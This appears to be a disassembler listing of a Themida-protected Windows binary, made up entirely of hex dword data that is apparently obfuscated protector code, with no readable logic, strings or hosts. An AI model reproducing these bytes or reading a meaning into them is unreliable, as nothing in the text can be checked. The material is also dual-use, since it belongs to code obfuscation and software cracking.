		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0EC53C353h, 66B00790h, 8B0C38BBh,	1510798Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 874F59BDh, 0D9A354C7h, 0E890FB7h, 60000000h
		dd 2555B589h, 950B0615h, 6152925h, 0E59D8B61h, 6006151Dh
		dd 8215BE66h, 68B0Fh, 9D2B0000h, 615301Dh, 1E18361h, 2A850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 5298FDC3h, 7DBB918Bh, 0B58B9E6Bh,	6150D8Dh
		dd 6A6061h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0CB6827C3h, 0B9BAB0FCh, 0FFFFFFFEh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 64C35242h, 3D55524Ah
		dd 8D21F0FCh, 615079Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 52C35545h, 134E09Ch, 150CE585h, 698D2106h
		dd 29061511h, 1506D99Dh, 9D8D8B06h, 0B4061507h,	1E183C4h
		dd 34850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 150424h, 52420000h, 50D814C3h, 0FE8h
		db 0
byte_5BCFA1	db 2, 0F4h, 0B2h	; DATA XREF: Themida_:0057B204o
		dd 3758B9C9h, 217F3ED7h, 0B069FEB3h, 8D8B5E5Fh,	6151169h
		dd 17D5BD31h, 0E1830615h, 31850F01h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0B4DEC352h, 89BA1337h, 15172D95h, 0E4A6BF06h, 0BD8B192Ch
		dd 6152F0Dh, 6A6061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 891A74C3h, 150211B5h, 0FFFEB906h
		dd 0F681FFFFh, 10C58671h, 15E58D21h, 6A0615h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 793D40C3h
		dd 6E99Ch, 5E1C0000h, 4760EE82h, 28718D21h, 6A0615h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 9B9456C3h, 891AA09Ah, 1528F58Dh, 0E58D8B06h,	8B061515h
		dd 1501A995h, 1E18306h,	25850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 7DB97C3h
		dd 0CDC0F715h, 8BFDBB11h, 1528718Dh, 83D18B06h,	850F01E1h
		dd 3, 61D3BF0Fh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0C1E96FA0h, 0F4809C3Bh
		dd 0AD85C73Bh, 0D0061508h, 6A000007h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0FC9C357h
		dd 17BF15DFh, 8B17C280h, 6A61C8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0E4ADB9C3h, 9D6107EBh
		dd 0E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 762D75FEh, 0BBB57C8h, 6A3B0Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0B9001DC3h, 0D5A73991h, 25BE6641h, 60C18BC4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F8C35242h, 0BEDBD0BFh
		dd 8BCCA76Ah, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 90490A8Dh, 83B5179Ah, 1508F5BDh
		dd 9750006h, 3ADBD83h, 74000615h, 8B535019h, 438B8C0h
		dd 85890000h, 6151385h,	0AA9E9D8Dh, 0D3FF0617h,	0BD83585Bh
		dd 61503ADh, 50177400h,	438B853h, 85890000h, 6151385h
		dd 0A78D9D8Dh, 0D3FF0617h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0F4C767C3h
		dd 89ADE4A1h, 152E99BDh, 259D0106h, 8B06150Ch, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 85011F2Ah, 6152F9Dh,	1949BD8Bh, 5E80615h, 89000009h
		dd 15178595h, 45858906h, 6A06151Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F5DC352h
		dd 0BD8BF1B7h, 615346Dh, 8CFE8h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0B3403FBh
		dd 5CD33392h, 5820F88h,	0B9000000h, 737F6F80h, 89FFB70Fh
		dd 152F5985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8D89C822h, 61524CDh, 86FE8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 17526C7Fh, 2E58D29h,	85890615h, 6152E0Dh, 2A8DBD29h
		dd 39E80615h, 29000008h, 151E6D95h, 95858906h, 29061505h
		dd 15249185h, 822E806h,	0CE90000h, 9A000000h, 8C5858C4h
		dd 0DAC3D308h, 8958F6DFh, 152D1985h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 1709120Eh
		dd 7E6E8FCh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 344D4CC3h, 278B586Dh, 10E985D6h
		dd 0F2000000h, 0B30BA3BEh, 0EF6CCAC8h, 7A780AF2h, 89A72B5Bh
		dd 1510F185h, 0ED8D8906h, 0E8061500h, 79Ch, 0C76AB953h
		dd 895E11C6h, 1533ED85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0A8587421h, 0C1B9D08Dh
		dd 0A3D781EBh, 0E85830F7h, 760h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 15h, 0ABC35141h,	7BBE66B9h, 118D8B34h
		dd 89061508h, 1502B585h, 0BE806h, 1CC60000h, 2B76CEE5h
		dd 60DBE2F0h, 0F19D89AAh, 59061517h, 717E8h, 0AE900h, 42B30000h
		dd 0B4D4404Ah, 987D16E5h, 23E18589h, 6A0615h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 66500FC3h
		dd 5EFCA7BEh, 6DBE8h, 13E900h, 0B2770000h, 3B6BC8DAh, 2D33948Eh
		dd 0D201E894h, 6AEB93C8h, 218589C2h, 8B061529h,	1501A9BDh
		dd 6B2E806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 2939A7C3h, 152A9985h, 39858906h
		dd 6A061523h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 3733C350h, 51640F48h, 8B1D9115h
		dd 152B35BDh, 65AE806h,	0BD8B0000h, 6151165h, 33758589h
		dd 8D8B0615h, 6152565h,	643E8h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 3E73082Ch
		dd 0CB56F263h, 6650DAD2h, 895FF78Bh, 15000985h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0BE740B3h, 0EE83387h, 95000000h, 840D57CAh, 23973122h
		dd 0C287A43Ch, 0FABF0F24h, 5D6E85Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 3EFD42C3h
		dd 0E960CCC5h, 7, 0EC4FB834h, 518C07CCh, 0B58B6159h, 6150DC9h
		dd 2CBD8589h, 0DE80615h, 67000000h, 48D63052h, 8EB1E864h
		dd 414DD3F2h, 27E9B533h, 0E85E0615h, 57Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6DC35040h, 76EC99B1h
		dd 0F3B70F49h, 2A498589h, 830F0615h, 5,	9253A2BEh, 542E815h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 296EDBC3h, 0F5931228h, 8589D2B1h,	61533A9h
		dd 810FF560h, 5, 72C231BEh, 0B06178h, 0FCB8B66h, 0B58BD8B6h
		dd 61514F1h, 6BAh, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 27192C24h, 0A37C97C4h
		dd 18D0F41h, 0F5000000h, 8D89C38Bh, 6150E09h, 6A04E8C1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0DB06C350h, 710FFBC4h, 0E2F766F9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F6C35242h, 0BC66E304h
		dd 11E948h, 0CBB30000h,	86BD9D59h, 2BB5C5F1h, 79305B69h
		dd 2B5F2549h, 83EF81D8h, 5052C304h, 6E95360h, 0F9000000h
		dd 22BB1079h, 1FB85BCEh, 617CF77Ah, 89241C89h, 15091D9Dh
		dd 0A195FF06h, 6A061518h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 2060C353h, 1D987E5Eh
		dd 0DE9h, 0E4B59400h, 5F116971h, 5192D1E9h, 0BD8B3DBBh
		dd 6151411h, 64602FB9h,	6A5B11h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C7F997C3h
		dd 50600126h, 8DA63B03h, 1527D995h, 65958906h, 89061509h
		dd 51006A1Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 49DF13CAh, 6D289A93h, 0F1CB8160h, 8A3AEA3Ah
		dd 428961CEh, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0BF2C42B5h, 8BA8F3E4h, 15286DBDh
		dd 9D858906h, 8D061506h, 151D9195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 6A71C75Ah
		dd 0F363440h, 58Ch, 0EF816600h,	1A89A7FBh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 66C35646h, 11E9h
		dd 47EC7800h, 0B3A19DF5h, 55F49B7Eh, 5750146Fh,	42897353h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0A23BBF49h, 9589671Dh, 61507D9h,	278D958Dh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 11B302C3h, 0EFB47661h, 0F88B666Ah, 6A1A89h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 96E06EC3h, 0BF48190h, 89F81AD2h, 6A0442h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 89C339C3h
		dd 151359BDh, 45952906h, 8D06152Bh, 1519D195h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 755FCDEEh, 8C0Fh, 1A890000h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 5DC35747h, 6EB1C880h, 89CBBF0Fh
		dd 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 135C2CC3h, 7AF74F49h, 9D958D30h, 6A061505h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0A78DC351h, 4586C9E9h, 1A89BD92h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A8C35646h, 847119BEh
		dd 668E8C96h, 89B6A4BFh, 6A0442h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 3151ADC3h, 1505DDBDh
		dd 958D5E06h, 6152C69h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0EAC35040h, 0BD1DF00Ch, 0F31FC306h, 6A1A89FCh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 19E9C355h, 4659C27Ah, 1DD1B501h, 42890615h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8F0FC85Bh, 6, 379BD09h, 958D0615h, 61519C1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 66C35343h
		dd 8932F55Ah, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 13135E8Fh, 0CA8BA676h, 6A044289h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0C216C352h, 0FC7A05Dh, 80h, 8D958D00h, 6A06150Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 20E7C353h, 0AC1AFCDFh, 6890Fh, 8D890000h
		dd 6151119h, 8C0F1A89h,	6, 6999509h, 42890615h,	53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0AC79ADACh, 1871456Fh, 8D03B864h, 6152E15h, 0BBE9h
		dd 0F1BF0F00h, 6A006Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 6AA8C3h,	115D8D8Bh, 6A0615h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 46C35646h, 0C1BD0198h
		dd 6A061522h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0FF8C5C77h, 15339D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0A640EC23h, 0B96617AAh, 6AC3D392h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6694C353h
		dd 3DB5DF6Fh, 6AC58Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 950131C3h, 615284Dh, 84C78166h
		dd 6AC08BA5h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 4B4FC356h, 0A6DBE94h, 0F681AC29h
		dd 660188FBh, 8F5BD83h,	75000615h, 0ADBD8309h, 61503h
		dd 53501974h, 38B8C08Bh, 89000004h, 1502A185h, 59D8D06h
		dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h,	38B85350h
		dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 979C356h,	0F88C04Ch, 587h, 0E9816600h, 820F2282h
		dd 15h,	10E9h, 792F3F00h, 8BE9A93Eh, 0C345F106h, 74AF2D24h
		dd 8DC08B3Eh, 15279D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0EDE4E18Dh, 431E84B9h
		dd 0BB57A1B7h, 70A8632Fh, 0DF8B505Bh, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0E521C357h, 4999D89h, 6A0615h, 209D9D8Bh, 6A0615h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 58C35646h, 0F6FD4A91h
		dd 1185892Eh, 8D061510h, 1944B485h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8B6679E9h
		dd 0A1BD23DEh, 83061519h, 11E805C0h, 6D000000h,	63A8FE90h
		dd 370EFAB4h, 54C5163Dh, 8E257A9h, 0EAA0BF66h, 6057505Bh
		dd 310F5250h, 0C18B585Ah, 4895F61h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 5A86B4DFh
		dd 0CCFECC15h, 8B006A99h, 1500E19Dh, 8B006A06h,	1519D99Dh
		dd 7995FF06h, 0E9061526h, 11h, 3B888B8Bh, 70BE41B5h, 220CDC6Dh
		dd 7766EC69h, 158D8D8Ah, 8B06189Ch, 57D1FFFAh, 8758589h
		dd 835F0615h, 152DB5BDh, 850F0106h, 5Bh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 96C35040h, 9A0A4486h
		dd 9D8B5519h, 615343Dh,	179DBD8Bh, 26A0615h, 10E9h, 6D82D700h
		dd 256A44E6h, 5EDB8F2h,	4904846Fh, 8B6650DAh, 240489DEh
		dd 0FFDF8B66h, 151D4D95h, 95858906h, 0E9061507h, 0E8Eh
		dd 0E8h, 0ED815D00h, 61944BEh, 66DFB660h, 2192E081h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0F5E6BC84h, 440AB6F6h, 88F9858Dh, 6A0618h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 6E0861C3h
		dd 0F5BAD0F8h, 0FB8B6690h, 13890F50h, 0E9000000h, 0Eh
		dd 0F8EB093Eh, 7175EAA7h, 5D79DCA8h, 6A902B25h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0D397C350h, 0CC37C740h, 32D8B560h, 3BD3DF81h, 64FC38BDh
		dd 35FFh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8166C9C3h
		dd 648467C7h, 2589h, 85890000h,	6150591h, 0D3F9F781h, 85FF1C2Bh
		dd 6151535h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0A7C35141h, 6A7302A3h, 0F1BB66FFh, 5D5BBB77h, 0B5FF5D4Fh
		dd 6151D45h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	28C35242h, 37F18811h, 3C8C0C46h, 5BD2351h, 5F061510h
		dd 8BD95FFh, 11E90615h,	81000001h, 13AD0FEFh, 0B0FC12h
		dd 0E6F9BF0Fh, 0DBBF0F70h, 8B6671E4h, 0F613CFBh, 0F383h
		dd 5E900h, 0E8D60000h, 0FC27463h, 9D0BC8B6h, 6151D19h
		dd 6BAh, 8589FC00h, 6150461h, 9589C18Bh, 61510C9h, 8904E8C1h
		dd 150A85BDh, 0E2F76606h, 9E9h,	0E9DBF100h, 0A12009E5h
		dd 0C82B4F58h, 0DB9BD89h, 0D18B0615h, 0DE9h, 0C327AE00h
		dd 76D0E4CEh, 7E233955h, 6E9DD8Bh, 1000000h, 1522F185h
		dd 0D9858B06h, 0F061527h, 682h,	0D18D8900h, 0E9061526h
		dd 0Fh,	0CFB8B469h, 286AC9Ah, 4A469DB8h, 83B439ECh, 0FB8B07C0h
		dd 8100C083h, 166B65C3h, 0FD03B59h, 1183h, 819D8B00h, 0E9061528h
		dd 44h,	3445BD8Bh, 8D8B0615h, 615079Dh,	33F99D89h, 0E1830615h
		dd 29840F01h, 0E9000000h, 0Ah, 0EA474BC0h, 0F5162D95h
		dd 0A58335A6h, 615079Dh, 89FA8AFEh, 1527D995h, 85B50906h
		dd 0E9061503h, 0
		dd 0D834B58Dh, 0BD090618h, 6153415h, 820F006Ah,	6, 10FDBD8Bh
		dd 95FF0615h, 6152E21h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 49C35141h, 3DDC8C2Ch,	554D1FFDh, 0BA733DBFh
		dd 0AD8D290Eh, 0B9061527h, 7AAh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 16C35545h, 0F98412CBh, 640941A6h
		dd 0F59D8BDBh, 0F061510h, 58Ch,	0FAF8BB00h, 0E1830C3Ch
		dd 0CE9FCh, 1A8F0000h, 3495DB3Dh, 2D523235h, 0E8FCB15Dh
		dd 12h,	246D881Dh, 9B3656A7h, 39D6530Ch, 0E9C68DEEh, 9D8BE1FAh
		dd 6151555h, 89C02B5Fh,	151A559Dh, 6AD22B06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0E78AC357h, 0B24655B5h, 0F8E33EF3h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	24C35545h, 74C13858h, 9D8B0FB8h, 6152235h, 7BB5BF66h
		dd 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 958B4CB9h, 6152721h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5EC35747h, 4356BAD4h
		dd 9CCEAB7Eh, 8F0Fh, 8D8B0000h,	61504CDh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 80C35747h, 0D5BB66F8h
		dd 0C28B50F1h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 80DCC357h, 6A3EE3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0B3928BC3h, 0C7A169A1h
		dd 5850F5Eh, 66000000h,	538AEB81h, 2F49BD01h, 860F0615h
		dd 10h,	0BE9h, 1714C400h, 15FF9BFh, 0C4C6BE9Fh,	18A9BD83h
		dd 0F000615h, 9084h, 799D8B00h,	0B806150Dh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 53C35343h
		dd 816609FEh, 8B6B8DEFh, 0F78166DFh, 8D8DA81Bh,	6154F9Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DC35747h
		dd 57922707h, 6800Fh, 9D890000h, 6152725h, 0A819589h, 0E1FF0615h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0A1C35545h
		dd 8B6698C8h, 15BD83D9h, 61511h, 51C840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0B07F47C3h, 19E744Fh, 0BD838CA8h, 6151115h, 6840F01h
		dd 6A000005h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8BD8C357h, 1526859Dh, 15BD8306h
		dd 3061511h, 4A1860Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0D9E698C3h, 699D011Ch
		dd 0E8061527h, 6, 4790AC6Ch, 0BF0F2A99h, 0E9605BD8h, 9
		dd 3BC7B42Eh, 5EB7F26Ah, 0D98C664Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 6DC35141h, 0AD950975h, 80061510h
		dd 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0C90A8CC3h, 1AD840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0A28F1C3h
		dd 0E9304086h, 0Ch, 5335B7EFh, 32F05B29h, 0E2441EDFh, 249D858Bh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 907979C3h, 68D0Fh, 0F7810000h, 5C3D8D46h
		dd 19B58533h, 8E90615h,	0F000000h, 37AD0A09h, 50908792h
		dd 89F98B66h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 3DE782C3h, 0F1DB99C6h, 31D1CD00h
		dd 1500359Dh, 0DE806h, 0FE0C0000h, 0EFA4240Ch, 7980345Ah
		dd 666A9079h, 5F6B85BFh, 2F05BD8Bh, 6A0615h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 67C35545h, 2F219D8Bh
		dd 0FCB70615h, 22187368h, 0FA8B66C6h, 8C240481h, 6A39FCEBh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 84F9C353h, 0E44508DEh, 6690B3C1h,	3827CB81h
		dd 0DAD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 42A540C3h, 998589BCh, 6A0618BFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0BDBC356h, 47E922EBh, 6A000002h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 800BC356h, 76532CB6h, 0FE9E6h, 0F9460000h, 0D1A3FC0h
		dd 8A07EA89h, 73E43F8Ah, 8D95295Ah, 8B06150Ah, 18BF9185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0C7A43Bh, 18h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 70C35141h, 0C04C0979h, 0B58BD688h
		dd 618BF95h, 0A319D8Bh,	858B0615h, 6150C45h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1EC35747h, 274B6002h
		dd 7D9D8B16h, 8906152Dh, 0D1BD8906h, 8B061522h,	15249D85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 9DE1649Fh, 46890A75h, 53006A04h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 9D8973E4h
		dd 6152FD9h, 2D999D2Bh,	60960615h, 972C1BB8h, 2800F45h
		dd 50000000h, 6650615Eh, 964BE3BFh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 58C35242h, 60DFB70Fh, 9E3DBE66h
		dd 188DB58Bh, 0FF610615h, 18BF91B5h, 4E806h, 3FF0000h
		dd 8A0F001Fh, 0Ah, 48E0Fh, 0BF660000h, 0BB502CE6h, 7310281Ah
		dd 424448Bh, 8BD88B66h,	0F98B6600h, 4244489h, 2EB35250h
		dd 5352310Fh, 585A5F5Bh, 66606058h, 9785C981h, 23519D89h
		dd 0BF610615h, 0CD4838Bh, 99858D61h, 6A0618BFh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0F05C350h, 683h, 71BD3300h, 50061504h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 3625C353h, 0F9E59928h, 0F4E19E5h, 680h, 5DBD8B00h, 66061507h
		dd 20C6EF81h, 0DAD95FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 430B93C3h, 0C9FDEF9Dh
		dd 0E19BD2Bh, 0F610615h, 683h, 31CB8100h, 0C77893CEh, 15111585h
		dd 306h, 1D9D8B00h, 83061529h, 18BF99BDh, 840F0006h, 2Fh
		dd 870Fh, 3FE90000h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0FFB9C350h,	66FBA6C3h
		dd 507CCCBFh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 9529C08Bh,	615344Dh, 28B99D8Bh, 10E90615h
		dd 2E000000h, 0E65ED801h, 8CF65BF7h, 0C6F8546Eh, 838D1CEEh
		dd 151115BDh, 850F0306h, 3B7h, 1D719D8Bh, 0BD830615h, 618BF99h
		dd 0A4840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 88B6C351h, 8BB06DFCh
		dd 1523999Dh, 99B5FF06h, 6A0618BFh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7128C352h
		dd 0D4CF80E5h, 10E195FFh, 880F0615h, 12h, 6E8h,	7D2D7200h
		dd 0F538D7Dh, 8Fh, 0B58B5F00h, 618BF8Dh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 0C9C35040h, 0ACBDD3A2h
		dd 0E9BAF0F3h, 0Fh, 0D4BBE210h,	0DD58AF41h, 10EFBA9Fh
		dd 0C72D0011h, 1000106h, 0F1BD0300h, 5006152Eh,	6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 87B1C357h, 4CB8EB49h, 0B5FF7741h,	618BF99h
		dd 2A65BD8Bh, 95FF0615h, 61506A1h, 958D31FCh, 8B06150Dh
		dd 18BF8DB5h, 0F59D8B06h, 8B061526h, 15005985h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 9B0A272Fh, 6E83DE0h,	0E0000000h, 0CA7A51C3h,	13E9A6h
		dd 0DC90000h, 42004036h, 0AA16D849h, 79FDDF27h,	6A0058DCh
		dd 86895F89h, 0C4h, 2146DB81h, 958B61D9h, 6152721h, 0E853006Ah
